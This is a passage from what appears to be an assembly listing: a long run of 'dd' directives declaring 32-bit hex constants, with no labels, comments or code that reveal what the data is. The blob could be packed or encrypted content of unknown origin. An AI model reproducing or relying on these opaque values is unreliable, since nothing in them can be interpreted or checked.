1083C121h dd 0E4B7F89Ah, 8C513806h, 18185B22h, 60C162A3h, 0D0E37983h dd 953EB468h, 3A8D06BAh, 0F812169h, 0F85C50B1h, 40B8D700h dd 75006B10h, 0CA16B9E5h, 3FFAA8E4h, 78788Ch, 0A6024F59h dd 0E3B0748Dh, 6C7EC000h, 0BB0E50CDh, 0EEEA9033h, 32090010h dd 59DD9225h, 0BE1D5472h, 0BCC03824h, 4A2D2E73h, 14B518E2h dd 0DE4C2825h, 645C5E00h, 0D9B88A20h, 0DFF40082h, 0BC9FD24Bh dd 7A0060CFh, 0C56EAFDEh, 55D645Eh, 0ED0503D5h, 0D11E8354h dd 4DFC4077h, 0DE7E8A00h, 5136872Fh, 108F6149h, 0F099E1CFh dd 6104413Dh, 9F2D4675h, 0EBE2E80h, 74B00031h, 0A782DE7Dh dd 5E046AC6h, 0CCE8686Eh, 6D99083h, 0E6B7EA1h, 15002053h dd 8FE7A86Ch, 0DD2E36BAh, 4FB88058h, 24DEDF97h, 5F6AFD00h dd 0E0863FC8h, 0FEBA18D7h, 0BD97813Bh, 0A4DE19C0h, 3036D1CAh dd 1768F465h, 5D3C0D59h, 7067964h, 74586235h, 0C35E0010h dd 20E76B05h, 0DD05C80Ah, 0D393B986h, 0CFFCDC00h, 6029484h dd 4A996326h, 0FD007022h, 0F4675DC5h, 0CA2920h, 0ACAED6D5h dd 0F99B9CD9h, 0E23D0FEAh, 1D883CCh, 0E0A3097Ah, 4534647h dd 71022DEDh, 8BBC0C3h, 700594E8h, 97CA49E5h, 4FF3C206h dd 21876008h, 12E578B1h, 0ACD3D002h, 603F7AF1h, 0C764CCh dd 2A920314h, 0C2FFA027h, 71F00700h, 74EB2D97h, 4D090D85h dd 0E1480FABh, 0DDACF033h, 7FF49A74h, 8658233h, 4C21003Eh dd 0FD7AAC72h, 6230639Dh, 8930B03Fh, 7BDF180Ch, 9D132909h dd 449BB318h, 30D97820h, 42E811B0h, 25E485EBh, 0E81380C0h dd 73773446h, 0F9F0CA3h dd 31082C8Bh, 5C6549C7h, 2F0869D0h, 0A49A0CDEh, 0E8D071EFh dd 0C0FEC239h, 0E6C90040h, 9209022Ch, 78C03457h, 0F23AD3CCh dd 28273C89h, 780B007Bh, 0DC257032h, 1139F7F6h, 1801F27Dh dd 0EC6EF9E2h, 2EF5E023h, 444FFCh, 0E3FC110Bh, 34FE8FB3h dd 31972F00h, 0DB989A64h, 462900F0h, 3F8EFBF4h, 6A00098Ch dd 6F452F6Bh, 19476F2h, 0BF389C2Eh, 0D0B03B27h, 470033E9h dd 0B660BD7Ah, 79B928Eh, 30D95C07h, 0F0591026h, 0F9003A44h dd 8F82BFA0h, 743CE55h, 0C97D01F3h, 7C3BF087h, 0DAE472DBh dd 0D301F47Eh, 0C4B9EDD8h, 74D0C2F6h, 3AE170B3h, 0D0744A4h dd 40C8EF8Bh, 3558CE45h, 164E431Fh, 0B52FBB80h, 1F3E4DB6h dd 422593h, 0F848B2Ch, 3D1E0B7Ch, 0AF072B53h, 980789Fh dd 3073B36h, 1AE14E4Ch, 617AEA10h, 2B516700h, 0E5DE449h dd 965300CEh, 0D114E3Eh, 0D400A7D6h, 357B8154h, 5448B0Ch dd 0CE0F08CFh, 0A3140083h, 52417907h, 72D4810Fh, 78E62C9Bh dd 0AD040C91h, 0ED18389h, 0C4311CA4h, 0D4CB19BAh, 6090C083h dd 98EE0B72h, 4C065342h, 0E8236F1Eh, 98C9661Ah, 115C1521h dd 0A1140006h, 4E2AD278h, 0FF1D0191h, 4B04B824h, 0E120800Fh dd 0B2C4B44Dh, 0CF9C1D0Dh, 484C0074h, 0F611E4B6h, 0B11CA96Ch dd 2E5600B8h, 0B07DF435h, 0D90064AEh, 0D44AA111h, 0C74363Eh dd 89C4E143h, 0A43B6431h, 0A2F8FEE2h, 483E40E2h, 45A00072h dd 0DCB47469h, 9DCD0CAEh, 2E7973CFh, 1DE69EECh, 552770Ah dd 361FA0C4h, 0A32C0AA2h, 986FABh, 0EBB6BE0Ch, 6260BDEDh dd 22B04544h, 615B0047h, 0A2DB90E2h, 79C07A88h, 68C33E0Eh dd 0B449C839h, 6159B180h, 0FF1D87C4h, 0C1809AD1h, 739C11A7h dd 0F2005E35h, 8C16AD4Bh, 7E447BAh, 1503E68Fh, 74F6101Dh dd 29F6E560h, 0EA0138C0h, 49CA448Ch, 737638FCh, 598A60A2h dd 0E6197210h, 0D1EFBD00h, 0BA8711BCh, 70F6171Ah, 0FB51D60h dd 0A98794F5h, 44D08163h, 9872C45Fh, 47C651C0h, 9A55B2h dd 9D6A9457h, 0BA379169h, 0A596400h, 803E3A72h, 0B32809D2h dd 4C00BC2Fh, 0A0671BDBh, 0E44A6300h, 2E41909Ah, 99BF309Bh dd 0E33E1120h, 98E948h, 0BCD7C460h, 0C105C29h, 4224E71Eh dd 1B20CC18h, 3E120CBBh, 5431ED77h, 7D65D212h, 0A572444h dd 77234902h, 79710C40h, 0AE619100h, 0A8FDAC7Dh, 90340039h dd 671A777Ah, 4B00A630h, 29F373E4h, 1789D4Fh, 90AC487Eh dd 0D4ECA291h, 530CDBC4h, 893CC8Ah, 204F6094h, 0D3ECEAB2h dd 0E4017E00h, 9712DB16h, 57C5039Eh, 67DC90E5h, 48712800h dd 0D332A00Ch, 0EDDF064Eh, 8B72F53h, 6F21F760h, 7AC32D8h dd 219201Bh, 8977B610h, 3D1FB398h, 8C1F1D43h, 0A7686A40h dd 35D34574h, 50408AC6h, 9580383Ch, 0E74EF432h, 0F5229743h dd 32CEBE00h, 437E3536h, 3396011Ah, 2D418691h, 0BF26CCF0h dd 80485B3Bh, 97928824h, 2087714Dh, 0AC26BC70h, 670C3D10h dd 3E3114Ch, 6EA6EF3Bh, 3799A275h, 6218A870h, 0A967EA37h dd 1AC7B080h, 0DD1128B4h, 8D0933BBh, 21009D08h, 891A8FCAh dd 0F8D52B9Fh, 0DFC13F4Bh, 87A2F08Ch, 4100CFE1h, 4C953770h dd 0D910ECh, 0BFE00DBAh, 862B6F40h, 0CA813F0Ch, 0A83149h dd 0DFD9A2F6h, 4B4FF7CFh, 0CAD26600h, 42E0C9FFh, 901C01B6h dd 3453C44Ch, 0F20422D7h, 619A3099h, 0A9FC8B00h, 904C82Bh dd 0D8D740E1h, 32C43E8Ch, 0CCFF4E15h, 0B380DB88h, 8A3A32DDh dd 0A71C0060h, 50B69D99h, 0F60B41C4h, 80B88EBCh, 2C244530h dd 0FECCA0B5h, 870A1D0Fh, 4969B0C3h, 0EA0E99BBh, 0EF13ADF0h dd 0DF2360C9h, 11C494h, 41E3E0CCh, 0DB44AE4Ch, 0AFE17503h dd 765A9CEh, 4B996841h, 948200D3h, 0B36EC94Dh, 8E21D808h dd 114B00A1h, 437C5680h, 3238D037h, 0EC5D0093h, 0B1ADF14Ah dd 3CFB3F10h, 805668E0h, 0AB15F6BBh, 69CC4F4h, 0A6B53572h dd 482D38D0h, 0DDAF29F9h, 4B9A0744h, 62CA04D4h, 208D269Dh dd 2E606E00h, 5ECFBC66h, 0CC420A73h, 1EA8932Ah, 4AE1CA27h dd 88F60394h, 20FC87D6h, 40A873A1h, 90A8BEEh, 40A0AFE0h dd 0D94BB741h, 0B518B2C1h, 9F8888h, 0B781AE4Bh, 0D3863311h dd 12D96200h, 0CD5710FEh, 300B03F6h, 37091E4Fh, 0B8806EE7h dd 0CACB871Fh, 83738612h, 14987C50h, 0FCCE203h, 0B87B42E5h dd 1F341198h, 11400A87h, 644809B0h, 0CEB02074h, 1F2533ECh dd 403B9FE6h, 21630D75h, 0F700CA88h, 1D503798h, 60A4E906h dd 253C4183h, 1700B191h, 1811683Bh, 1834F5B7h, 8136DE65h dd 14006AD6h, 0DAFD08ADh, 26E2885Dh, 3D4ECCh, 3046254Ch dd 0B97AAC63h, 0F4075800h, 0FD87420Ah, 30BDEE7Dh, 0F5406B8Bh dd 0A760BBC4h, 0F4E84358h, 7D4F02A8h, 0E40FF617h, 0F4E49465h dd 0D4AD3060h, 0E4E2DA13h, 23037C6Eh, 2B3AAD84h, 0C8FA15A0h dd 91107D00h, 3E13E52Ah, 1DD603AEh, 4D966994h, 0F447A804h dd 0B89053C8h, 0A2BA0EB4h, 422A6084h, 3DD214DAh, 903CD84Fh dd 0DB9C01F2h, 8BA60FCAh, 5D4454Dh, 22660BCh, 0F772E5E4h dd 37AA43E0h, 0B7AD0E01h, 0DDBF340Bh, 5480020h, 0EA818F80h dd 0FA2038D7h, 9E007B46h, 0F4770ACCh, 2F1FD981h, 0B500A261h dd 63653113h, 0A0416004h, 1046CA9Eh, 0E0591C12h, 9D23FC2Fh dd 4409C200h, 0D42695Bh, 5AB3F4A9h, 0A29C2320h, 0C2FD309Dh dd 9A151C14h, 0B2384CA8h, 0C8B1209Fh, 289826CCh, 8BF36118h dd 0E8F69718h, 8AAF326Fh, 0D1309A80h, 0C4A316ECh, 0BFE038E3h dd 0F9ECD900h, 729FD8F2h, 5A380AC9h, 944360h, 0D9822B4Ch dd 0CC48C0D0h, 1B753D96h, 0F8919264h, 3A0A3CEh, 9BCCD1D6h dd 0FE82BEC2h, 600FC481h, 3CC8F21Dh, 401F5F76h, 8026F76Bh dd 6081C538h, 37CB62E1h, 0C23883A0h, 4DBACDA8h, 0F9BC4421h dd 0A6CD2D12h, 2114B000h, 984C736Bh, 553FA40h, 0D3468AAAh dd 47C891BCh, 4499CD24h, 575CC0B8h, 4C98D1E2h, 10BD44h dd 0CB2F797Bh, 0CDAB607Fh, 0CA719564h, 78488481h, 0AC6148E3h dd 8C03326h, 542690C4h, 69E4C08h, 18AD76A8h, 89AFB61Fh dd 90088E16h, 3296C0DEh, 0CF214ED1h, 0C0B167EDh, 8DBFDF32h dd 59999507h, 9E70F4A0h, 0FBF0C413h, 0CD8A020h, 0D640112Fh dd 563D8C8Ch, 4F6857Bh, 880268ADh, 64A82379h, 37DC00E4h dd 1EE29703h, 9100E78Ah, 0FD496452h, 0AD9CB86h, 0C8A97498h dd 4B0B88E0h, 0E750CC00h, 54FE2E8h, 342B8B2Fh, 5BB01FADh dd 45F7B1C1h, 0A170208Fh, 4E23D032h, 0F511C7h, 0D432C56Ah dd 184D30Fh, 64F122F9h, 8A3E17CBh, 0E0C29860h, 1E031C11h dd 44AB7003h, 2BAC72FCh, 60D9C004h, 23B11AD4h, 84118511h dd 1ADCC907h, 4044759Ch, 729974F4h, 8A001D18h, 871B0E56h dd 3DDE526Bh, 0A90617CFh, 41947381h, 8F791339h, 14BCB56h dd 96C890ECh, 6C71C472h, 0C4101818h, 597D1414h, 3C4503C8h dd 0B0663268h, 49CF60D0h, 0F4095089h, 0C4826E20h, 1C414E33h dd 0DA5870F3h, 4BB51C8Ch, 38A216C7h, 9D009AD4h, 8C3C634Bh dd 17D58Bh, 65685177h, 0A353131Eh, 0FC747324h, 8DCCF581h dd 12C44C18h, 4D107867h, 0F700CC2Ch, 0B12BD80Eh, 0C77D1B80h dd 0CD90EF06h, 2A68AFB4h, 1CE4F360h, 80326F5Fh, 813678A9h dd 90AB8E2Bh, 0ACAC4FFAh, 4300D4CEh, 738AFF7Dh, 0F1D22F4h dd 2369A496h, 99A108A0h, 674CB910h, 9184210Ch, 0EC429E9Ch dd 1C93C4A9h, 0ECDFB101h dd 0BCE984BFh, 102081E9h, 34138839h, 0AC985371h, 7BF4D148h dd 9C707B64h, 5E063B43h, 0F0DB4EE1h, 81EB1CF4h, 63D22718h dd 0F840231Fh, 0BB937Ah, 6B90911h, 38C887ADh, 56A88CA8h dd 0D7007273h, 122B88A4h, 0ECCE919h, 44F8F177h, 2CF020B2h dd 0AD488645h, 0F74A0E20h, 84C8E40Dh, 0EDBD0140h, 0AD77F149h dd 38A18060h, 0B15324E3h, 189ED100h, 7F2417B6h, 63D40039h dd 6046C327h, 252028F5h, 11E017E2h, 613680F5h, 3902C16Bh dd 0B698C3E1h, 3C4121D6h, 0F06060F8h, 6F6D3211h, 748B008Eh dd 0DF388280h, 5F257083h, 119C97FDh, 4762808Fh, 134EE529h dd 19009CCh, 0CEB4C4BCh, 2BB42031h, 24C5F40Eh, 8539C078h dd 7EFE9EA3h, 93B0245Ah, 6B30080h, 0BB75610Bh, 1134E5Ch dd 0D1F20EFEh, 0D420FDF8h, 79BD015Dh, 0A104C44Ch, 25588015h dd 0AD60FE46h, 0D66D127Bh, 0A72C0486h, 0A29C80F1h, 3812B1CFh dd 34103F47h, 4A8910E4h, 849E909h, 4FDBAC82h, 0BC6424EFh dd 22C2BCC2h, 8CA09B67h, 27DE1BAh, 0E8363F00h, 663C0605h dd 3A4B869h, 0A01311A8h, 34F245BCh, 0AE002864h, 0D7B75A56h dd 94A81978h, 9A8A809Ch, 2393ED5h, 8317863Bh, 48C8B06Fh dd 23E802C7h, 44C4121Eh, 0B100B058h, 0ABFE0225h, 4C08242Ch dd 710B703Bh, 0F894C67Dh, 0EA046172h, 65395344h, 2D011091h dd 4C349CE5h, 7FFD1314h, 1F440242h, 3C53D9ACh, 20439E90h dd 0E1E4DAC8h, 0E8E778B2h, 50B5C1CFh, 0FC2061D4h, 0BB10162Dh dd 23742FE5h, 679500DBh, 0D3E56554h, 159C2C02h, 0E3C42FB7h dd 0BA290E34h, 0D0633F37h, 3C90EE66h, 0E6004CD4h, 12DA8589h dd 28341C1Eh, 12A4F3F7h, 0C0516EA9h, 31FB778Ch, 533CC4B1h dd 8861A004h, 0E610C03Fh, 687C66EBh, 8A016BEAh, 7E07E7B7h dd 4DE0D772h, 1EC00798h, 20DBE8AFh, 0A6ED6C0Ch, 4A141800h dd 3386B79Eh, 0E4FA0085h, 8BAE413Ah, 190E5B59h, 0C014C50Fh dd 74C9BAE9h, 0B6290017h, 1B9BA6B3h, 3B2C693Ch, 0D4017588h dd 0EF3FC137h, 0B1B8FCh, 2E1BC643h, 91219F49h, 0BC3D9000h dd 3383737Eh, 0E02C00A9h, 8D8F92BBh, 500FC68h, 1810C916h dd 7817ED2Ah, 0C77800E1h, 8836C12Fh, 400BCAEh, 0A01FCE2Ch dd 1FA2BDD2h, 0C1AC980Eh, 0E80969D4h, 0B2908702h, 12203105h dd 3B3E954h, 291A3FC0h, 0C8C85070h, 213D1D83h, 0AD7A80F6h dd 9451796Bh, 0A0C2019Ch, 58675E4Ah, 1E1DE864h, 0BF330801h dd 7823F152h, 0F89EE4h, 0EECD9512h, 0BE85B5C5h, 81BC993Ah dd 807FCBDBh, 0E2D8235Bh, 9596002Ah, 0A6B0B134h, 0CA00F428h dd 292DC6F1h, 1FB41F66h, 0C75AB6A7h, 0C07B403Eh, 0F6410392h dd 0FEA31C00h, 190D6761h, 0AA7A0069h, 1F36B179h, 43004221h dd 7E981C1Ah, 0F8A923F6h, 0F71E3492h, 6B9A8038h, 5D014986h dd 0C30162A6h, 82E8A11Ah, 0F88B26Ah, 12392540h, 0D072AB27h dd 0BF10078Bh, 0B67C2C00h, 58E1B22Eh, 516873A1h, 0EBF0AC2Ah dd 6CE039D9h, 0D6DB3D00h, 0A3CF9545h, 7A392400h, 400F6FFDh dd 0A078F7h, 0C5086BB2h, 6D04F84Eh, 0BF849800h, 0D67F89A8h dd 60C8481Dh, 0D72BB380h, 9D90DFF3h, 25EE2400h, 0BFE36BDDh dd 0A96A017Fh, 0C01E3B11h, 0DB6EEC58h, 28F59B00h, 0F414C901h dd 19631413h, 0EA03E8CCh, 0EE5D336Eh, 3B598490h, 0A9B8270Eh dd 7D6BC189h, 2880CDBEh, 55FE9D77h, 670CBCE0h, 18C8C524h dd 299E1F5Bh, 0A232477Ah, 435C6099h, 415851DEh, 5BC614B4h dd 19958C0h, 6C36FE71h, 0D8F7FB91h, 1C8016h, 0CB50EED1h dd 7D307810h, 6EE22100h, 0E96ADA1h, 2C770066h, 132B6CC3h dd 531EB05Dh, 7F80676Bh, 6BEA950h, 0A78500D1h, 0EF902E9Fh dd 2CC2D9CCh, 40BCB36Ch, 0F51F4h, 6E96F77Ah, 3624EB0h dd 381A8300h, 3F135E34h, 5D5B0035h, 74330960h, 50000D43h dd 3DE30A53h, 7EBBE62h, 0B363DC03h, 3AF86CAEh, 800D7B2Ch dd 0DA8C0638h, 18EED4h, 8E64ED68h, 0D7317930h, 0CDAF9B00h dd 48763909h, 0A72F012Bh, 0DDE5852h, 5FC5F065h, 0ECA04677h dd 6906EA55h, 7D94B533h, 0C57B0049h, 19FAD0AFh, 0E371986Fh dd 1F7A5E04h, 90C0A9E5h, 7ED848h, 0B51D2FFCh, 0D3C7E3DEh dd 0CF22EB09h, 0E4A800CAh, 2CD7BB0Dh, 757E23Ah, 558ADF4Ch dd 7D88004Bh, 3963EA49h, 0C9948101h, 3B2A410Ah, 0F43547C0h dd 0C090061h, 0F0877738h, 0E8A063C1h, 8774869h, 3F1EF40Eh dd 0F151C0E9h, 1250BFA8h, 26873Bh, 852833ACh, 3900CA70h dd 4FDAE6Ah, 3E0B12E9h, 0D58915C5h, 0A4022CC4h, 0F8CBF502h dd 0F0B490ECh, 14099B4Bh, 7E4DFAh, 0C371DAA8h, 89D00CCCh dd 171CB05Fh, 61CF131Dh, 98EE9DC7h, 999BFF60h, 6221732h dd 49702CCh, 78483CE8h, 0BD00FABBh, 0CDCB7F8Fh, 729C4B7h dd 501A1416h, 60223104h, 0D82EE81Fh, 0D79D44A0h, 2BBF54A0h dd 0D50D270Ch, 0DD795Ah, 88BA8CABh, 0FFF739EDh, 6EB18E00h dd 25C76A72h, 54F2005Fh, 92609527h, 2B4CECBDh, 0C4E60983h dd 0AC74E03Ah, 3B030087h, 0A476F52Ah, 0F600D3EDh, 64AD2FE6h dd 1FA7067Eh, 458370C3h, 72D451Ch, 0FC5EE288h, 0C000CDD9h dd 2FD65290h, 1DEAD0C8h, 8043DEE7h, 0ACF50D29h, 0BEE67C68h dd 0A2CCCA0h, 0B4C22E00h, 5D3BA63Ah, 8AFD03C0h, 690F4B82h dd 590F189Bh, 0E1AA9C81h, 0B529F85Eh, 1C00C84Bh, 0E6ABAE8Fh dd 0FD4CCF75h, 0C29A0061h, 1B5EBA36h, 748200FBh, 0CB1F23AFh dd 71E22252h, 0A33EDF7Dh, 7C1800EEh, 46D232F8h, 544C005Fh dd 666B1A62h, 45017184h, 0E45380B5h, 0DDF9A6C4h, 8EEC389Fh dd 9420AE6Eh, 2CB1DB2h, 9989F8E7h, 0A0F46400h, 0CF77250Ah dd 12FD0115h, 7D9E32C9h, 63CD44Fh, 973B0700h, 62F10F14h dd 0D4250E5Eh, 0E640C49Fh, 0F868173Ah, 0E2931F06h, 1728E975h dd 278D42Fh, 98033AB2h, 0F8DCDD40h, 80FD8E39h, 0B1E899F7h dd 77064C6h, 4745FEA0h, 566981FFh, 4B1FE055h, 5A7E4F00h dd 42C1A670h, 0F1123BDDh, 8C8B9100h, 0A3EE54C2h, 329E0500h dd 151DACF4h, 84725062h, 1AA39EDh, 894EFB00h, 8673E867h dd 28BB1107h, 0BCE29979h, 245C7810h, 80442570h, 91FC6F92h dd 7D002765h, 0A2FEA650h, 90E71C05h, 280C3DEFh, 828FB000h dd 2E204E3Ch, 8A011D7Eh, 2629F3DEh, 4CCA35Bh, 669C00E5h dd 15100F2Ah, 9B008BDFh, 0F21CC517h, 28A8F5h, 0E02F8A3Eh dd 0FE10819Ah, 1222CF0Eh, 376B8009h, 908B1F55h, 0E83C0353h dd 13071BB2h, 5EA775C8h, 39AC5C07h, 0B4D0702Bh, 34AAEh dd 4D843FD0h, 0D8FD8949h, 905B330Eh, 56223C1h, 9C91AC73h dd 7220D0A2h, 0BB8F003Eh, 652C3781h, 74798321h, 54D2DC2Ch dd 873FA103h, 9A48F956h, 1A4EFE0h, 0CDFC8327h, 0CC17231Ch dd 3A031FD3h, 74115E78h, 8D5040F4h, 0C73B00A9h, 69310367h dd 5712E6E2h, 0A400042Ah, 0A76B9A6Ah, 61C00228h, 54ABEC73h dd 0E18018EAh, 0E349B9E1h, 0C304BCF4h, 0FB724FA6h, 9B042A80h dd 98670084h, 0AC90649Dh, 17398DABh, 1E9E89B8h, 4D908048h dd 0FADDA959h, 5CB9011Dh, 2DEA5808h, 653FE84Bh, 97304Ch dd 268DE213h, 4CFB6h, 0C9A146FFh, 0CB828510h, 0FADE9E00h dd 7D17C14h, 186C0069h, 7612C2CFh, 68C051F2h, 43E3CC2Ah dd 0BAFB0037h, 725967E9h, 0BF001BC1h, 1915B3C7h, 16690DEBh dd 1D7310DFh, 74DBC027h, 3D1EFDB0h, 0A1ACDA1Dh, 8AF188C0h dd 13B1C2h, 94ED7197h dd 0CE7E6808h, 0CF8DDE00h, 0D6360B35h, 0A9550195h, 56D7D43Ch dd 1422DBh, 0DCFD7CF9h, 0F18A6C0h, 32417121h, 5B9E7AE1h dd 0A15570EDh, 82D0E71Ch, 0D594E280h, 3450B4h, 0A78446A6h dd 0D99873C4h, 63B0BD02h, 810499CCh, 0A4ECC6D4h, 4FC49E41h dd 0E3D2F880h, 71F45DE4h, 0C9D88A50h, 0E0BAAEFAh, 7AC3331Fh dd 0A4B44B00h, 6AA118h, 2168D56Eh, 57EB9E0Eh, 0C3FB960Eh dd 822981B1h, 72F020BEh, 656B388Fh, 5E8FC02h, 35604A34h dd 2A1DA319h, 0E900BE9Ch, 0C212ADC4h, 56B73CD8h, 0DC17DA07h dd 0D100AE67h, 6E6C6DEAh, 0B621EF0Eh, 23B98061h, 0BA5011h dd 7E2CFC18h, 0D50651C8h, 4200DE7Fh, 4F037573h, 9AF9BAh dd 0B2F76005h, 1C0A2B8Fh, 6C5E7000h, 987569DFh, 0E27FE464h dd 0A245007Ch, 841FF3F2h, 0DB03762Bh, 521058E1h, 8906C890h dd 767EE045h, 6E4D007Fh, 59BFB1BDh, 9500D7C6h, 0B8298D2h dd 1381E9EDh, 0FBB4DBh, 0DA3CD69Ch, 870091DDh, 82F06D32h dd 0EAC63176h, 48581F36h, 0E2AA8044h, 90610F0Dh, 2C9D821Eh dd 6E37BD81h, 0FC4793BEh, 0C400FDF5h, 2B7C4F9Eh, 9A6300E9h dd 3A82189Fh, 0C0000698h, 93C754FBh, 1EE20D1h, 5CF3DFBFh dd 288185A0h, 0DC050098h, 0F8D1C638h, 9027CE7h, 0FA2C1257h dd 0BA6B2F00h, 0D677B6EEh, 7CB0F0Ah, 8600EA7Bh, 0F7B83AB7h dd 0E7170074h, 97558289h, 0FAEA77CAh, 0EA088503h, 103286Ch dd 0AA3A0169h, 879AF429h, 0DE94C211h, 0A099300h, 0C929C242h dd 64707748h, 73B6BF03h, 0A045119Bh, 0D120B9h, 27DAAE97h dd 0FBBD14DEh, 4F65C801h, 6FD8D791h, 0D400A4BCh, 88663BDDh dd 2C00D05Bh, 52014D7Fh, 5A53CCAAh, 0A12C4350h, 11902BF2h dd 0D530739Dh, 37891998h, 0A03C0003h, 0A3534376h, 0F25E13CCh dd 0EDA7EC40h, 28684ED8h, 7E0C08F0h, 580F952Fh, 504BCE00h dd 0D604A4A2h, 4724307h, 25079885h, 0B7B0B912h, 732C3Fh dd 720DAD4Ch, 0EC65082Fh, 5476490Eh, 38009CFFh, 3D39D8BDh dd 72F9E6EAh, 0EB325CB5h, 0A9A21B02h, 83C0CB27h, 6800B059h dd 7E28ED3Ch, 0CFF16Bh, 0FF67FDDEh, 3FBE0265h, 0C0096F00h dd 99DD7B15h, 0E74C0072h, 0BB89857Eh, 0E10F81F8h, 43E248DAh dd 0C7D1BE19h, 87FF4F70h, 57F4052Bh, 0B24C79B9h, 309DF2C0h dd 1400C8FEh, 4C74B3E5h, 1954F447h, 504D975Ah, 8D618A1h dd 7BC4A0ECh, 8E409AC4h, 19E8ECDEh, 7DAF4000h, 13E3B9D0h dd 39470034h, 2D0F4C43h, 0F03AEB48h, 0C1606BADh, 0D618DF04h dd 2D2C1A48h, 2896F5h, 61ADD7Fh, 0A8666768h, 0F150F550h dd 13EEFD0Fh, 41DAA61Ch, 71643E71h, 0A4A1ADA7h, 40BCE2CEh dd 864F78BBh, 5B3C371Fh, 49123030h, 5F1C0F36h, 7202400Fh dd 44D1D9AFh, 0D84BB687h, 19976A02h, 8689109Ch, 0C8E9074Bh dd 3665A720h, 0F70CE0B0h, 0F887545Dh, 0FD311F13h, 0F8AA4702h dd 22F4507Ch, 0C8005BA3h, 0BBDD053Dh, 4CBF97CDh, 0C503FC1Bh dd 0A285FDC7h, 0F80DC8C8h, 6D479B00h, 7F278B7Eh, 935400B4h dd 0A82E6F15h, 0C0039E2Ah, 0ACF33508h, 7EFCF003h, 14250016h dd 843619DEh, 1C00EFB7h, 0B3FEEBC6h, 0E83DBE35h, 604801AEh dd 8A6CE42Ah, 0DC87C9F9h, 2803DF1Bh, 8D1FBE65h, 1D36E8E8h dd 30C7849h, 75A7AB7Fh, 180024FBh, 8E216A7Dh, 0F8A11002h dd 8B592120h, 445C3E08h, 664A315Dh, 7986B108h, 0D51144D6h dd 30DE6288h, 37305F77h, 0A6406F66h, 0C46D30EBh, 0ED118A08h dd 8D78F301h, 3453A2F6h, 0CE0618BAh, 50126DC5h, 68B16061h dd 1C406EC9h, 0F8B24CBh, 0AEF1F2FEh, 88BF6C01h, 21EBE04Eh dd 0BB7091F9h, 0A5F631Eh, 1E08D585h, 8C620834h, 0A1490B81h dd 0E9D48FFDh, 659F0CEFh, 0A4790594h, 271C3F18h, 0DFA02EC8h dd 0CC760080h, 78724A02h, 90120E00h, 138B9DD1h, 197B18EBh dd 0A5D297Ah, 0F0A1CB00h, 0E77556F4h, 0A308CC2Ch, 0F23F3A21h dd 526480CBh, 1A996B11h, 6DCD078Dh, 9018EE49h, 0AF953940h dd 0F9BF80C7h, 0A06F8C61h, 870A2080h, 0FF62EE7h, 0C7074E80h dd 2267F858h, 98A089B2h, 7AA26F56h, 0F3ABE03h, 1861B7B6h dd 207C6808h, 0A2001777h, 1151D22Fh, 1E0A5376h, 3041567Ah dd 34200D58h, 806F8A29h, 889D7D00h, 0CFF395C7h, 48410B11h dd 0ED4CA064h, 92FA21A1h, 84FB908h, 99496528h, 0B065ACC0h dd 6E560121h, 413E7AA0h, 0D68BE01h, 182B7DD0h, 0B088300Bh dd 21DC48C0h, 4053835h, 53F12F85h, 0C4D81C3Eh, 0E84F689Eh dd 1C920005h, 0F5E1DE04h, 0CC9100B7h, 0FEF08952h, 0E000D561h dd 9F678BDBh, 12084112h, 0AFDD3Bh, 6F0F1D3Bh, 0F3012E7Bh dd 40FD370Ch, 5C3039A3h, 9EC30085h, 9F43BFE7h, 250017E2h dd 1F544F63h, 3BBE38h, 0ACECA81Ch, 4998BF64h, 3FA59C2Eh dd 59009124h, 75DCD6Ch, 93A00033h, 4B7B8113h, 2A00F173h dd 279A5FE9h, 0F52C66h, 41FA4E59h, 9D3918Ah, 9EE3D004h dd 26805D2Fh, 90DE710Fh, 16940F6Fh, 9A23CEF1h, 0BCD03D23h dd 6A001C4Eh, 0AC39A095h, 32FC42DEh, 0E91090EFh, 90FE0495h dd 9FF13EA8h, 0DCC9A109h, 0AD06E281h, 6D0BF028h, 0CD954000h dd 26DB4999h, 0A1970D9Ah, 0ED29DF63h, 661A103Ah, 243F80CCh dd 88D3FE88h, 5E892995h, 21532841h, 12B6F311h, 263C8191h dd 3701BEEAh, 0B2CE1127h, 2900BD13h, 8830DF83h, 78D8F64Fh dd 323700EBh, 0AF0341AEh, 33FC86D4h, 6E008173h, 0BDFBB0BBh dd 82268h, 0FCB38CFDh, 362D85CAh, 0E2008AB8h, 0C94C90F1h dd 74DCF22h, 0DC7BDB03h, 470F405Ah, 0FC007D35h, 0A0B9DD1Fh dd 98BEE3h, 0F6FB4C34h, 0A8691932h, 9F8FD903h, 0E04BE6DFh dd 29F795h, 0FA6BBD03h, 0A6F86F16h, 0E95E8F00h, 4AFD4202h dd 0FF0A003Bh, 5B383915h, 112E947Ah, 0E00B448h, 6BA8497Fh dd 9C77C6h, 5FFE42BDh, 40AA0739h, 5DF5B307h, 0BC403B20h dd 7DA3736Ah, 67380022h, 7C2DCBB6h, 0F80E62BAh, 20E2D0ECh dd 2D11C70h, 0A1B10255h, 387C6A73h, 1B210440h, 0F10D8F00h dd 4AC56056h, 184D7BCCh, 609FB2EAh, 10243A94h, 0DD001C3Bh dd 451A9DC2h, 0C45900C6h, 0D3423F9Fh, 8A0077F7h, 79DEBD52h dd 70123Ch, 0DD24B274h, 0D44D4B27h, 3A8B9B00h, 0DCE44FBFh dd 90A527A8h, 4160E1F0h, 0AB4CF692h, 0B75939C1h, 0C5030376h dd 6C7658Fh, 0F75C90E4h, 0A91407A4h, 80C44CBDh, 1FEDBC15h dd 545B00EEh, 772DB81Dh, 0D00116F3h, 0F497802h, 48D85741h dd 3897057Ah, 0C1E0624Bh, 40938CD3h, 0BA98F494h, 0CED23100h dd 341D20E6h, 0F92003Eh, 82C227A4h, 0A200F22Eh, 149CD0B1h dd 520CFBh, 0F9513EA3h, 0B7B5334Bh, 0CF12B612h, 3C40081Dh dd 0F6112C17h, 95520129h, 0DEE65191h, 0E4FDDDF2h, 69011813h dd 4F44CBC5h, 0BAC3BC5Bh, 0A9D26085h, 94E5001Fh, 1E0A56BAh dd 197439EFh, 0ED549102h, 0E0DC93C0h, 75268144h, 34EE18F5h dd 6BB57831h, 533C7A0Eh, 4BD6E0CBh, 0FA9DF9h, 6A5BF127h dd 8EE8A247h, 399C781Ch, 0C0B8DDCFh, 5AF2F088h, 0B2C31F60h dd 7E25C05Dh, 0B83A57FBh, 0C5185F00h, 1A9C7248h, 0B70D7h dd 65B1ED71h, 0A0B26420h, 5D55BB00h, 0C00AB4A4h, 2D960382h dd 0B8277233h, 78F4A798h, 0D9004371h, 34864B58h, 98EE2656h dd 271D0048h, 7F188CABh, 2171D6DFh, 3EC6510Eh, 